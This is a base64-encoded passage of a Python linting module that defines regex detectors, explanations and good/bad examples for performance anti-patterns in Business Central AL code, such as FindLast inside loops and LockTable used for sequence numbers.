cnJvcnMpLlxuXG5CQUQ6ICBpZiBub3QgUmVjb3JkLkluc2VydChmYWxzZSkgdGhlbiBSZWNvcmQuTW9kaWZ5KGZhbHNlKTtcbkdPT0Q6IGlmIFJlY29yZC5HZXQoS2V5VmFsdWUpIHRoZW4gUmVjb3JkLk1vZGlmeShmYWxzZSlcbiAgICAgIGVsc2UgYmVnaW4gUmVjb3JkLkluaXQoKTsgUmVjb3JkLkluc2VydChmYWxzZSk7IGVuZDtcblxuSElOVDogT24gY29uZmxpY3Q6IElOU0VSVCBwYXRoIGZpcmVzIGEgU1FMIGVycm9yIGV2ZW50IOKAlCB2aXNpYmxlIGluIFByb2ZpbGVyLiBHZXQrYnJhbmNoOiBubyBlcnJvciBldmVudHMuJyksCiAgICBleGVyY2lzZXM9WzIzXSwKKQpjbGFzcyBQYXR0ZXJuSW5zZXJ0T25Db25mbGljdDoKICAgIF9SRSA9IHJlLmNvbXBpbGUocidpZiBub3QgXHcrXC5JbnNlcnRcKCg/OmZhbHNlfHRydWUpP1wpIHRoZW5ccytcdytcLk1vZGlmeVwoJywgcmUuTVVMVElMSU5FKQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIHJldHVybiBfZmluZGluZ3ModGV4dCwgUGF0dGVybkluc2VydE9uQ29uZmxpY3QuX1JFLAogICAgICAgICAgICAgICAgICAgICAgICAgbGFtYmRhIG06ICJJbnNlcnQtb24tZmFpbCBwYXR0ZXJuIOKAlCB1c2UgR2V0KCkgdGhlbiBNb2RpZnkvSW5zZXJ0IGZvciBjbGFyaXR5IGFuZCBlZmZpY2llbmN5IikKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiB0ZXh0CgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDIyIOKAlCBTZXRDdXJyZW50S2V5IG1pc3NpbmcgZm9yIHNvcnRlZCBpdGVyYXRpb24KIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJNSVNTSU5HX1NFVENVUlJFTlRLRVkiLAogICAgZ3JvdXA9IlNvcnQgLyBLZXlzIiwKICAgIHNldmVyaXR5PSJNRURJVU0iLAogICAgdGl0bGU9IkZpbmQoJy0nKSBvciBGaW5kU2V0IHdpdGhvdXQgU2V0Q3VycmVudEtleSB3aGVuIG9yZGVyIG1hdHRlcnMiLAogICAgZGVzY3JpcHRpb249KCdGaW5kKFwnLVwnKSBhbHdheXMgcmVhZHMgaW4gUFJJTUFSWSBLRVkgYXNjZW5kaW5nIG9yZGVyLCByZWdhcmRsZXNzIG9mIGFueSBTZXRDdXJyZW50S2V5IGNhbGwgbWFkZSBiZWZvcmUgaXQuIFRvIHJlYWQgZGF0YSBpbiBhIHNwZWNpZmljIHNvcnQgb3JkZXIsIHVzZSBGaW5kU2V0KCkgYWZ0ZXIgU2V0Q3VycmVudEtleSBhbmQgKGZvciBkZXNjZW5kaW5nKSBTZXRBc2NlbmRpbmcoZmFsc2UpLlxuXG5TUUwgSU1QQUNUOiBGaW5kKFwnLVwnKTogYWx3YXlzIE9SREVSIEJZIHByaW1hcnkga2V5IEFTQyDigJQgU2V0Q3VycmVudEtleSBpZ25vcmVkLlxuRmluZFNldCB3aXRoIFNldEFzY2VuZGluZzogT1JERVIgQlkgPGtleT4gREVTQyDigJQgY29ycmVjdCBvcmRlcmluZy5cblxuQkFEOiAgUmVjb3JkLlNldEN1cnJlbnRLZXkoXFwiUG9zdGluZyBEYXRlXFwiKTsgaWYgUmVjb3JkLkZpbmQoXCctXCcpIHRoZW4gLi4uXG5HT09EOiBSZWNvcmQuU2V0Q3VycmVudEtleShcXCJQb3N0aW5nIERhdGVcXCIpO1xuICAgICAgUmVjb3JkLlNldEFzY2VuZGluZyhcXCJQb3N0aW5nIERhdGVcXCIsIGZhbHNlKTtcbiAgICAgIGlmIFJlY29yZC5GaW5kU2V0KCkgdGhlbiAuLi5cblxuSElOVDogQ2hlY2sgT1JERVIgQlkgaW4gU1FMIGFmdGVyIEZpbmQoXCctXCcpIHdpdGggU2V0Q3VycmVudEtleS4gU2V0Q3VycmVudEtleSBpcyBpZ25vcmVkIOKAlCBPUkRFUiBCWSB1c2VzIHByaW1hcnkga2V5LicpLAogICAgZXhlcmNpc2VzPVsyNF0sCikKY2xhc3MgUGF0dGVybk1pc3NpbmdTZXRDdXJyZW50S2V5OgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgcmV0dXJuIFtdICAjIENvdmVyZWQgYnkgRklORF9EQVNIX0JVRkZFUl9PTkU7IHRvbyBjb250ZXh0LXNwZWNpZmljIHRvIGRldGVjdCBnZW5lcmljYWxseQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMjMg4oCUIFRlbXAgdGFibGUgYXMgY29sbGVjdGlvbiAodXNlIExpc3QvRGljdGlvbmFyeSkKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJURU1QX1RBQkxFX0FTX0NPTExFQ1RJT04iLAogICAgZ3JvdXA9Ik1lbW9yeSAvIENvcGllcyIsCiAgICBzZXZlcml0eT0iTUVESVVNIiwKICAgIHRpdGxlPSJUZW1wb3JhcnkgdGFibGUgdXNlZCBwdXJlbHkgYXMgYSBjb2xsZWN0aW9uICh1c2UgTGlzdCBvciBEaWN0aW9uYXJ5KSIsCiAgICBkZXNjcmlwdGlvbj0oJ1VzaW5nIGEgdGVtcG9yYXJ5IHRhYmxlIHB1cmVseSB0byBjb2xsZWN0IGRpc3RpbmN0IHNjYWxhciB2YWx1ZXMgKGRhdGVzLCBJRHMsIGNvZGVzKSBjYXJyaWVzIGZ1bGwgcmVjb3JkLWxheWVyIG92ZXJoZWFkOiBzY2hlbWEgdmFsaWRhdGlvbiwga2V5IGluZGV4IG1haW50ZW5hbmNlLCBJbml0L0luc2VydC9GaW5kU2V0IGNhbGxzLiBMaXN0IG9mIFtUXSBpcyBhIG5hdGl2ZSBBTCB0eXBlIHdpdGggemVybyByZWNvcmQgb3ZlcmhlYWQuXG5cblNRTCBJTVBBQ1Q6IFRlbXAgdGFibGUgSW5zZXJ0L0ZpbmRTZXQ6IHJlY29yZCBzdHJ1Y3Qgb3ZlcmhlYWQgcGVyIHZhbHVlLlxuTGlzdCBvZiBbRGF0ZV06IGRpcmVjdCBhcnJheSBhY2Nlc3MsIG5vIHNjaGVtYSwgbm8ga2V5IGxvb2t1cC5cblxuQkFEOiAgVGVtcERhdGVzOiBSZWNvcmQgXFwiV29ya3Nob3AgRGF0YVxcIiB0ZW1wb3Jhcnk7IFRlbXBEYXRlcy5cXCJQb3N0aW5nIERhdGVcXCIgOj0gLi4uOyBUZW1wRGF0ZXMuSW5zZXJ0KCk7XG5HT09EOiBEYXRlczogTGlzdCBvZiBbRGF0ZV07IGlmIG5vdCBEYXRlcy5Db250YWlucyhQb3N0aW5nRGF0ZSkgdGhlbiBEYXRlcy5BZGQoUG9zdGluZ0RhdGUpO1xuXG5ISU5UOiBDb21wYXJlIHRlbXAgdGFibGUgSW5zZXJ0L0ZpbmRTZXQgdnMgTGlzdC5BZGQvaXRlcmF0aW9uLiBUZW1wIHRhYmxlOiBzY2hlbWEgb3ZlcmhlYWQgZXZlbiBpbiBtZW1vcnkuIExpc3Q6IHB1cmUgTlNUIG1lbW9yeSBhcnJheS4nKSwKICAgIGV4ZXJjaXNlcz1bMjVdLAopCmNsYXNzIFBhdHRlcm5UZW1wVGFibGVBc0NvbGxlY3Rpb246CiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgbGluZXMgPSB0ZXh0LnNwbGl0bGluZXMoKQogICAgICAgIGZvciBpLCBsaW5lIGluIGVudW1lcmF0ZShsaW5lcyk6CiAgICAgICAgICAgIG0gPSByZS5zZWFyY2gocicoVGVtcFx3Kylccyo6XHMqUmVjb3JkXHMrXFMrXHMrdGVtcG9yYXJ5JywgbGluZSkKICAgICAgICAgICAgaWYgbm90IG06CiAgICAgICAgICAgICAgICBjb250aW51ZQogICAgICAgICAgICB2YXIgPSBtLmdyb3VwKDEpCiAgICAgICAgICAgIHJlc3QgPSAnXG4nLmpvaW4obGluZXNbaTptaW4obGVuKGxpbmVzKSwgaSs4MCldKQogICAgICAgICAgICAjIFB1cmUgY29sbGVjdGlvbjogSW5zZXJ0IHdpdGhvdXQgcmVhZGluZyBiYWNrIG1lYW5pbmdmdWwgZmllbGRzCiAgICAgICAgICAgIGhhc19pbnNlcnQgPSBib29sKHJlLnNlYXJjaChyZidcYntyZS5lc2NhcGUodmFyKX1cLkluc2VydFwoJywgcmVzdCkpCiAgICAgICAgICAgIGhhc19nZXQgPSBib29sKHJlLnNlYXJjaChyZidcYntyZS5lc2NhcGUodmFyKX1cLkdldFwoJywgcmVzdCkpCiAgICAgICAgICAgIGhhc19zZXRyYW5nZSA9IGJvb2wocmUuc2VhcmNoKHJmJ1xie3JlLmVzY2FwZSh2YXIpfVwuU2V0UmFuZ2VcKCcsIHJlc3QpKQogICAgICAgICAgICBpZiBoYXNfaW5zZXJ0IGFuZCBoYXNfc2V0cmFuZ2UgYW5kIG5vdCBoYXNfZ2V0OgogICAgICAgICAgICAgICAgZmluZGluZ3MuYXBwZW5kKHsKICAgICAgICAgICAgICAgICAgICAibGluZSI6IGkgKyAxLAogICAgICAgICAgICAgICAgICAgICJzbmlwcGV0IjogbGluZS5zdHJpcCgpWzoxMjBdLAogICAgICAgICAgICAgICAgICAgICJtZXNzYWdlIjogZiIne3Zhcn0nIHVzZWQgYXMgY29sbGVjdGlvbiAoSW5zZXJ0K1NldFJhbmdlLCBubyBHZXQpIOKAlCB1c2UgTGlzdCBvZiBbLi4uXSBpbnN0ZWFkIgogICAgICAgICAgICAgICAgfSkKICAgICAgICByZXR1cm4gZmluZGluZ3MKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiB0ZXh0CgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDI0IOKAlCBGaW5kTGFzdCAvIEZpbmRGaXJzdCBpbnNpZGUgYSBsb29wCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACkBfcmVnaXN0ZXIoCiAgICBpZD0iRklORExBU1RfSU5fTE9PUCIsCiAgICBncm91cD0iRGF0YSBUcmFuc2ZlciIsCiAgICBzZXZlcml0eT0iSElHSCIsCiAgICB0aXRsZT0iRmluZExhc3QoKS9GaW5kRmlyc3QoKSBpbnNpZGUgYSBsb29wIChjYWxsIG9uY2UgYmVmb3JlIHRoZSBsb29wKSIsCiAgICBkZXNjcmlwdGlvbj0oJ0NhbGxpbmcgRmluZExhc3QoKSBpbnNpZGUgYSBsb29wIHRvIGRldGVybWluZSB0aGUgbmV4dCBFbnRyeSBOby4gZmlyZXMgU0VMRUNUIE1BWChcXCJFbnRyeSBOb19cXCIpIC4uLiBvciBPUkRFUiBCWSBERVNDIEZFVENIIDEgb24gRVZFUlkgaXRlcmF0aW9uLiBGb3IgNSAwMDAgbGluZXMgdGhhdCBpcyA1IDAwMCBTUUwgcm91bmQtdHJpcHMgZm9yIGEgY291bnRlci4gT25lIEZpbmRMYXN0KCkgYmVmb3JlIHRoZSBsb29wICsgYSBsb2NhbCBjb3VudGVyIGlzIE8oMSkuXG5cblNRTCBJTVBBQ1Q6IFBlciBpdGVyYXRpb246IFNFTEVDVCBUT1AgMSAuLi4gT1JERVIgQlkgXFwiRW50cnkgTm9fXFwiIERFU0MgPSBOIFNRTCBxdWVyaWVzLlxuXG5CQUQ6ICBmb3JlYWNoIExpbmUgaW4gSW1wb3J0U291cmNlIGRvIGJlZ2luIFJlY29yZC5GaW5kTGFzdCgpOyBOZXh0Tm8gOj0gUmVjb3JkLlxcIkVudHJ5IE5vLlxcIiArIDE7IC4uLlxuR09PRDogUmVjb3JkLkZpbmRMYXN0KCk7IE5leHRObyA6PSBSZWNvcmQuXFwiRW50cnkgTm8uXFwiICsgMTtcbiAgICAgIGZvcmVhY2ggTGluZSBpbiBJbXBvcnRTb3VyY2UgZG8gYmVnaW4gTmV4dE5vICs9IDE7IC4uLiBlbmQ7XG5cbkhJTlQ6IFRyYWNlIEZpbmRMYXN0KCkgY2FsbHMgaW4gdGhlIGxvb3Agd2l0aCBTUUwgUHJvZmlsZXIuIEVhY2ggaXRlcmF0aW9uIGZpcmVzIE9SREVSIEJZIERFU0MgRkVUQ0ggMS4gU2luZ2xlIEZpbmRMYXN0IGJlZm9yZSBsb29wOiAxIFNRTCBxdWVyeSB0b3RhbC4nKSwKICAgIGV4ZXJjaXNlcz1bMjZdLAopCmNsYXNzIFBhdHRlcm5GaW5kTGFzdEluTG9vcDoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIGZpbmRpbmdzID0gW10KICAgICAgICBsaW5lcyA9IHRleHQuc3BsaXRsaW5lcygpCiAgICAgICAgaW5fbG9vcCA9IEZhbHNlCiAgICAgICAgZm9yIGksIGxpbmUgaW4gZW51bWVyYXRlKGxpbmVzKToKICAgICAgICAgICAgc3RyaXBwZWQgPSBsaW5lLnN0cmlwKCkKICAgICAgICAgICAgaWYgcmUuc2VhcmNoKHInXGJmb3JlYWNoXGJ8XGJyZXBlYXRcYicsIHN0cmlwcGVkLCByZS5JR05PUkVDQVNFKToKICAgICAgICAgICAgICAgIGluX2xvb3AgPSBUcnVlCiAgICAgICAgICAgIGlmIHJlLm1hdGNoKHIndW50aWxccytcdytcLk5leHRcKFwpJywgc3RyaXBwZWQsIHJlLklHTk9SRUNBU0UpIG9yIChzdHJpcHBlZCA9PSAnZW5kOycgYW5kIGluX2xvb3ApOgogICAgICAgICAgICAgICAgaW5fbG9vcCA9IEZhbHNlCiAgICAgICAgICAgIGlmIGluX2xvb3AgYW5kIHJlLnNlYXJjaChyJ1x3K1wuKEZpbmRMYXN0fEZpbmRGaXJzdClcKFwpJywgbGluZSkgYW5kIG5vdCBzdHJpcHBlZC5zdGFydHN3aXRoKCcvLycpOgogICAgICAgICAgICAgICAgZmluZGluZ3MuYXBwZW5kKHsKICAgICAgICAgICAgICAgICAgICAibGluZSI6IGkgKyAxLAogICAgICAgICAgICAgICAgICAgICJzbmlwcGV0IjogbGluZS5zdHJpcCgpWzoxMjBdLAogICAgICAgICAgICAgICAgICAgICJtZXNzYWdlIjogIkZpbmRMYXN0L0ZpbmRGaXJzdCBpbnNpZGUgbG9vcCDigJQgY2FsbCBvbmNlIGJlZm9yZSB0aGUgbG9vcCBhbmQgY2FjaGUgdGhlIHJlc3VsdCIKICAgICAgICAgICAgICAgIH0pCiAgICAgICAgcmV0dXJuIGZpbmRpbmdzCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICByZXR1cm4gdGV4dAoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAyNSDigJQgTG9ja1RhYmxlICsgRmluZExhc3QgZm9yIHNlcXVlbmNlIGdlbmVyYXRpb24gKHVzZSBOdW1iZXJTZXF1ZW5jZSkKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJMT0NLVEFCTEVfRk9SX1NFUVVFTkNFIiwKICAgIGdyb3VwPSJMb2NraW5nIiwKICAgIHNldmVyaXR5PSJISUdIIiwKICAgIHRpdGxlPSJMb2NrVGFibGUgKyBGaW5kTGFzdCBmb3Igc2VxdWVuY2UgbnVtYmVycyDigJQgdXNlIE51bWJlclNlcXVlbmNlIiwKICAgIGRlc2NyaXB0aW9uPSgiTG9ja1RhYmxlKCkgYWNxdWlyZXMgYSBmdWxsIHRhYmxlLWxldmVsIGV4Y2x1c2l2ZSB3cml0ZSBsb2NrIGhlbGQgZm9yIHRoZSBlbnRpcmUgdHJhbnNhY3Rpb24uIEFueSBjb25jdXJyZW50IHNlc3Npb24gbmVlZGluZyB0aGlzIHRhYmxlIGJsb2Nrcy4gVW5kZXIgaGlnaC12b2x1bWUgcHJvY2Vzc2luZyAoaHVuZHJlZHMgb2Ygb3BlcmF0aW9ucyBwZXIgbWludXRlKSB0aGlzIGNyZWF0ZXMgbG9jayB3YWl0IHF1ZXVlcyBhbmQgZXZlbnR1YWwgdGltZW91dCBlcnJvcnMuXG5cblNRTCBJTVBBQ1Q6IExvY2tUYWJsZTogWC1sb2NrIG9uIGVudGlyZSB0YWJsZSBmb3IgdHJhbnNhY3Rpb24gZHVyYXRpb24uXG5OdW1iZXJTZXF1ZW5jZS5OZXh0KCk6IGF0b21pYyBjb3VudGVyIGF0IERCIGxldmVsIOKAlCBubyB0YWJsZSBsb2NrLlxuXG5CQUQ6ICBSZWNvcmQuTG9ja1RhYmxlKHRydWUpOyBpZiBSZWNvcmQuRmluZExhc3QoKSB0aGVuIE5leHRObyA6PSBSZWNvcmQuUEsgKyAxO1xuR09PRDogaWYgbm90IE51bWJlclNlcXVlbmNlLkV4aXN0cygnTVlfU0VRJykgdGhlbiBOdW1iZXJTZXF1ZW5jZS5JbnNlcnQoJ01ZX1NFUScsMSwxLGZhbHNlKTtcbiAgICAgIE5leHRObyA6PSBOdW1iZXJTZXF1ZW5jZS5OZXh0KCdNWV9TRVEnKTtcblxuSElOVDogTG9ja1RhYmxlOiB3YXRjaCBsb2NrIGV2ZW50cyBpbiBTUUwgUHJvZmlsZXIuIE51bWJlclNlcXVlbmNlOiBubyB0YWJsZSBsb2NrIOKAlCBhdG9taWMgc2VxdWVuY2UgaW5jcmVtZW50LiBDb21wYXJlIGNvbmN1cnJlbmN5OiBydW4gdHdvIHNlc3Npb25zIHNpbXVsdGFuZW91c2x5LiIpLAogICAgZXhlcmNpc2VzPVsyOF0sCikKY2xhc3MgUGF0dGVybkxvY2tUYWJsZUZvclNlcXVlbmNlOgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgZmluZGluZ3MgPSBbXQogICAgICAgIGxpbmVzID0gdGV4dC5zcGxpdGxpbmVzKCkKICAgICAgICBmb3IgaSwgbGluZSBpbiBlbnVtZXJhdGUobGluZXMpOgogICAgICAgICAgICBpZiByZS5zZWFyY2gocidcdytcLkxvY2tUYWJsZVwoJywgbGluZSkgYW5kIG5vdCBsaW5lLnN0cmlwKCkuc3RhcnRzd2l0aCgnLy8nKToKICAgICAgICAgICAgICAgICMgTG9vayBhaGVhZCBmb3IgRmluZExhc3QgdG8gZ2V0IG5leHQga2V5CiAgICAgICAgICAgICAgICBhaGVhZCA9ICdcbicuam9pbihsaW5lc1tpOm1pbihsZW4obGluZXMpLCBpKzgpXSkKICAgICAgICAgICAgICAgIGlmIHJlLnNlYXJjaChyJ0ZpbmRMYXN0XChcKScsIGFoZWFkKSBhbmQgcmUuc2VhcmNoKHInRW50cnkgTm98TmV4dFNlcXxOZXh0Tm98TmV4dEtleScsIGFoZWFkLCByZS5JR05PUkVDQVNFKToKICAgICAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICAgICAibGluZSI6IGkgKyAxLAogICAgICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2UiOiAiTG9ja1RhYmxlICsgRmluZExhc3QgZm9yIHNlcXVlbmNlIGdlbmVyYXRpb24g4oCUIHVzZSBOdW1iZXJTZXF1ZW5jZS5OZXh0KCkgaW5zdGVhZCIKICAgICAgICAgICAgICAgICAgICB9KQogICAgICAgIHJldHVybiBmaW5kaW5ncwoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMjYg4oCUIFNldFJhbmdlIG9uIFBLICsgRmluZEZpcnN0IGluc3RlYWQgb2YgR2V0CiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACkBfcmVnaXN0ZXIoCiAgICBpZD0iU0VUUkFOR0VfRklORFNFVF9GT1JfR0VUIiwKICAgIGdyb3VwPSJEYXRhIFRyYW5zZmVyIiwKICAgIHNldmVyaXR5PSJNRURJVU0iLAogICAgdGl0bGU9IlNldFJhbmdlIG9uIFBLICsgRmluZEZpcnN0IGluc3RlYWQgb2YgZGlyZWN0IEdldCgpIiwKICAgIGRlc2NyaXB0aW9uPSgnU2V0UmFuZ2Ugb24gYSBwcmltYXJ5IGtleSBmaWVsZCBmb2xsb3dlZCBieSBGaW5kRmlyc3QoKSBnb2VzIHRocm91Z2ggdGhlIGZpbHRlcitzY2FuIHBhdGggaW5zdGVhZCBvZiB0aGUgb3B0aW1pemVkIHNpbmdsZS1yb3cgbG9va3VwLiBHZXQoKSB1c2VzIHRoZSBwcmltYXJ5IGtleSBpbmRleCBkaXJlY3RseSDigJQgbm8gY3Vyc29yIHNldHVwLCBoaXRzIHRoZSBjbHVzdGVyZWQgaW5kZXggZGlyZWN0bHkuXG5cblNRTCBJTVBBQ1Q6IFNldFJhbmdlK0ZpbmRGaXJzdDogU0VMRUNUIFRPUCA1MCAuLi4gV0hFUkUgXFwiTm9fXFwiPVggKGN1cnNvciBzZXR1cCBvdmVyaGVhZCkuXG5HZXQoKTogRGlyZWN0IGNsdXN0ZXJlZCBpbmRleCBwb2ludCBsb29rdXAg4oCUIG5vIGN1cnNvci4gTWVhc3VyYWJseSBmYXN0ZXIgaW4gaGlnaC1mcmVxdWVuY3kgbG9vcHMuXG5cbkJBRDogIEN1c3RvbWVyLlNldFJhbmdlKFxcIk5vLlxcIiwgQ3VzdG9tZXJObyk7IGlmIEN1c3RvbWVyLkZpbmRGaXJzdCgpIHRoZW4gLi4uXG5HT09EOiBpZiBDdXN0b21lci5HZXQoQ3VzdG9tZXJObykgdGhlbiAuLi5cblxuSElOVDogQ29tcGFyZSBTRUxFQ1QgVE9QIDUwIChTZXRSYW5nZStGaW5kRmlyc3QpIHZzIGRpcmVjdCBsb29rdXAuIEdldCgpIGhpdHMgY2x1c3RlcmVkIGluZGV4IGRpcmVjdGx5IOKAlCAxIHJlYWQsIG5vIGN1cnNvci4nKSwKICAgIGV4ZXJjaXNlcz1bMjldLAopCmNsYXNzIFBhdHRlcm5TZXRSYW5nZUZpbmRGaXJzdEZvckdldDoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIGZpbmRpbmdzID0gW10KICAgICAgICBsaW5lcyA9IHRleHQuc3BsaXRsaW5lcygpCiAgICAgICAgZm9yIGksIGxpbmUgaW4gZW51bWVyYXRlKGxpbmVzKToKICAgICAgICAgICAgbSA9IHJlLnNlYXJjaChyJyhcdyspXC5TZXRSYW5nZVwoIk5vXC4iLFxzKlx3K1wpJywgbGluZSkKICAgICAgICAgICAgaWYgbm90IG0gb3IgbGluZS5zdHJpcCgpLnN0YXJ0c3dpdGgoJy8vJyk6CiAgICAgICAgICAgICAgICBjb250aW51ZQogICAgICAgICAgICB2YXIgPSBtLmdyb3VwKDEpCiAgICAgICAgICAgIGFoZWFkID0gJ1xuJy5qb2luKGxpbmVzW2k6bWluKGxlbihsaW5lcyksIGkrMyldKQogICAgICAgICAgICBpZiByZS5zZWFyY2gocmYnXGJ7cmUuZXNjYXBlKHZhcil9XC5GaW5kRmlyc3RcKFwpJywgYWhlYWQpOgogICAgICAgICAgICAgICAgZmluZGluZ3MuYXBwZW5kKHsKICAgICAgICAgICAgICAgICAgICAibGluZSI6IGkgKyAxLAogICAgICAgICAgICAgICAgICAgICJzbmlwcGV0IjogbGluZS5zdHJpcCgpWzoxMjBdLAogICAgICAgICAgICAgICAgICAgICJtZXNzYWdlIjogZiIne3Zhcn0uU2V0UmFuZ2UoXCJOby5cIiwgLi4uKSArIEZpbmRGaXJzdCgpJyDigJQgdXNlICd7dmFyfS5HZXQoLi4uKScgZGlyZWN0bHkiCiAgICAgICAgICAgICAgICB9KQogICAgICAgIHJldHVybiBmaW5kaW5ncwoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOK